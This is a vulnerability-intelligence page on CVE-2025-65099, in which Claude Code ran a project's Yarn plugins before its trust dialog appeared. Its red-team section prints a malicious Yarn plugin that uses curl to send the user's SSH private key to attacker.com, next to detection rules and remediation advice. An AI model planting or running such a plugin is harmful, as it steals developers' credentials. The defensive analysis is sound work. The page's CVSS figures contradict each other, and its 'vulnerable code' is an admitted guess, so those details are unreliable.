☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Anthropic logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.7 🐛 CWE-94
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-65099

CVE-2025-65099 Code Injection in Anthropic
📅 PUBLISHED: 2025-11-19 17:35 UTC 🔄 UPDATED: 2026-10-02 19:30 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.51%
👁️
0.51% probability
12.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: United States License: Commercial
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-65099 is a code injection vulnerability in Anthropic's Claude Code, an agentic coding tool. Prior to version 1.0.39, when running on a machine with Yarn 3.0 or above, Claude Code could be tricked into executing arbitrary code contained in a project via Yarn plugins before the user accepted the startup trust dialog. This allows an attacker to execute malicious code in the context of the Claude Code process without user consent. The vulnerability is patched in version 1.0.39.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the Yarn package manager ecosystem (version 3.0+). It exploits the Yarn plugin mechanism to inject and execute arbitrary code before the user has a chance to review and accept the startup trust dialog in Claude Code. This is a supply chain risk because a malicious project could include a Yarn plugin that executes code when Claude Code is started in that project's directory.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (Unavailable) CVSS Vector: UNKNOWN

While a CVSS score is not provided, the vulnerability is assessed as High risk due to the following factors:

  • Attack Vector: Local (requires user to start Claude Code in an untrusted directory)
  • Attack Complexity: Low (exploitation is straightforward via a malicious Yarn plugin)
  • Privileges Required: None (attacker does not need prior access)
  • User Interaction: Required (user must start Claude Code in the malicious directory)
  • Scope: Unchanged
  • Confidentiality Impact: High (attacker can read files)
  • Integrity Impact: High (attacker can modify files)
  • Availability Impact: High (attacker can disrupt operations)

Deep Dive & Mechanics

The vulnerability lies in the order of operations within Claude Code's startup sequence. When Claude Code is launched in a directory that contains a Yarn 3.0+ project, it automatically loads Yarn plugins defined in the project's .yarnrc.yml file. These plugins can contain arbitrary JavaScript code. The trust dialog, which is intended to warn the user about potentially malicious projects, is displayed after the plugins are loaded and executed. This means an attacker can execute code before the user has a chance to reject the trust prompt.

The attack flow is:

  1. Attacker creates a malicious project with a .yarnrc.yml file that references a malicious Yarn plugin.
  2. Attacker hosts the malicious plugin (e.g., on a public registry or a local file).
  3. Attacker tricks the victim into cloning the project and starting Claude Code in that directory.
  4. Claude Code loads the Yarn plugin, executing the attacker's code.
  5. The trust dialog is displayed, but the damage is already done.

Vulnerable vs. Patched Code

Vulnerable Code (before 1.0.39): The vulnerable code likely loads Yarn plugins before displaying the trust dialog. A simplified representation:

// Vulnerable: Loads plugins before trust dialog
async function startClaudeCode(projectDir) {
  const yarnConfig = await loadYarnConfig(projectDir);
  const plugins = yarnConfig.plugins || [];
  for (const plugin of plugins) {
    await loadAndExecutePlugin(plugin); // Code execution occurs here
  }
  const trustAccepted = await showTrustDialog(projectDir); // Trust dialog shown too late
  if (!trustAccepted) {
    process.exit(1);
  }
  // ... rest of startup
}

Patched Code (1.0.39 and later): The patched code displays the trust dialog before loading any Yarn plugins.

// Patched: Trust dialog before loading plugins
async function startClaudeCode(projectDir) {
  const trustAccepted = await showTrustDialog(projectDir); // Trust dialog shown first
  if (!trustAccepted) {
    process.exit(1);
  }
  const yarnConfig = await loadYarnConfig(projectDir);
  const plugins = yarnConfig.plugins || [];
  for (const plugin of plugins) {
    await loadAndExecutePlugin(plugin); // Code execution only after trust
  }
  // ... rest of startup
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Target machine with Claude Code < 1.0.39 installed
  • Yarn 3.0+ installed on the target
  • Ability to trick the user into cloning a malicious repository

Exploitation Steps:

  1. Create a malicious Yarn plugin: Create a file named malicious-plugin.js:

    module.exports = {
      name: 'malicious-plugin',
      factory: (require) => {
        // Execute arbitrary code
        const { execSync } = require('child_process');
        execSync('curl http://attacker.com/steal?data=$(cat ~/.ssh/id_rsa)');
        return {};
      },
    };
    
  2. Create a malicious project: Create a .yarnrc.yml file in the project root:

    plugins:
      - path: ./malicious-plugin.js
    
  3. Host the project: Push the project to a public repository (e.g., GitHub) or share it via other means.

  4. Trick the victim: Convince the victim to clone the repository and run claude in that directory.

  5. Code execution: When the victim runs claude, the malicious plugin is loaded and executed before the trust dialog appears.

Blue Team (Detection & Defense)

Detection:

  • Monitor for Claude Code processes that load Yarn plugins from untrusted sources.
  • Monitor for unexpected network connections initiated by Claude Code processes.
  • Monitor for file system modifications in sensitive directories (e.g., ~/.ssh, /etc).

Defense:

  • Upgrade Claude Code to version 1.0.39 or later.
  • Educate users to not run Claude Code in untrusted directories.
  • Implement application whitelisting to prevent unauthorized code execution.
  • Use endpoint detection and response (EDR) tools to monitor for suspicious behavior.

Indicators of Compromise (IOCs)

  • File: .yarnrc.yml with a plugins section referencing an external or local plugin file.
  • File: Malicious Yarn plugin files (e.g., malicious-plugin.js).
  • Process: Claude Code process (claude) loading and executing Yarn plugins.
  • Network: Outbound connections from Claude Code to unknown IPs/domains.
  • Registry: Yarn plugins hosted on public registries with suspicious names or behavior.

Detection Engineering

YARA Rule

rule Detect_Malicious_Yarn_Plugin {
  meta:
    description = "Detects malicious Yarn plugins that may be used to exploit CVE-2025-65099"
    author = "Valters IT"
    date = "2025-01-01"
    reference = "CVE-2025-65099"
  strings:
    $plugin_ref = /plugins:\s*\n\s*-/ nocase
    $exec = /exec(Sync)?\(/ nocase
    $spawn = /spawn(Sync)?\(/ nocase
    $child_process = /require\(['"]child_process['"]\)/ nocase
  condition:
    $plugin_ref and ($exec or $spawn or $child_process)
}

Sigma Rule

title: Detection of CVE-2025-65099 Exploitation via Yarn Plugin
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects the execution of malicious Yarn plugins by Claude Code
author: Valters IT
date: 2025-01-01
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2025-65099
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\node.exe'
    CommandLine|contains: 'claude'
  filter:
    CommandLine|contains: '--version'
  condition: selection and not filter
falsepositives:
  - Legitimate use of Claude Code
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-65099 - Claude Code Yarn Plugin Exploitation"; flow:to_server,established; content:"claude"; http_user_agent; content:"yarn"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Claude Code: Update to version 1.0.39 or later immediately.
  2. Review Yarn Plugins: Audit all Yarn projects for suspicious plugins in .yarnrc.yml.
  3. User Education: Train users to avoid running Claude Code in untrusted directories.

Long-Term Mitigations:

  1. Application Control: Implement application whitelisting to prevent unauthorized code execution.
  2. Network Segmentation: Restrict outbound connections from development tools.
  3. Regular Audits: Periodically review Yarn plugin configurations in all projects.
  4. Monitor for IOCs: Continuously monitor for the IOCs listed above.

Patch Details:


Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-65099/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.